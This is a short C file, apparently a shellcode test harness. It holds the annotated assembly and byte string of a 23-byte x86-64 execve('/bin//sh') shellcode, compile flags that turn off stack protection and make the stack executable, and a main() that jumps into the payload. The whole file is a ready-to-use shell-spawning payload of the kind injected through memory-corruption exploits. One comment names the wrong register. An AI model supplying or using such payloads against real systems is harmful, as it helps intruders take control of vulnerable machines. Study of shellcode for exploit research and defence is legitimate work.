/*
Compile with: gcc -fno-stack-protector -z execstack
23 byte execve shellcode
  2 ; int execve(const char *filename, char *const argv[], char *const envp[]);
  3 BITS 64
  4 
  5 section .text
  6         global start
  7 
  8 start:
  9         xor rdx, rdx                ;zero out rdx
 10         push rdx                    ;push rdx to stack to null terminate /bin//sh       
 11         mov al, 0x3b                ;move 3b into al for execve
 12         mov rcx, 0x68732f2f6e69622f ;move the immediate value /bin//sh in hex in rcx 
 13         push rcx                    ;push the immediate value stored in rcx onto the stack
 14         lea rdi, [rsp]              ;load the address of the string that is on the stack into rsi
 15         syscall                     ;make the syscall 
*/

char shellcode[] = "\x48\x31\xd2\x52\xb0\x3b\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x51\x48\x8d\x3c\x24\x0f\x05";

int main(int argc, char **argv)
{
    int (*func)();
    func = (int (*)()) shellcode;
    (int)(*func)();
     return 0;
}
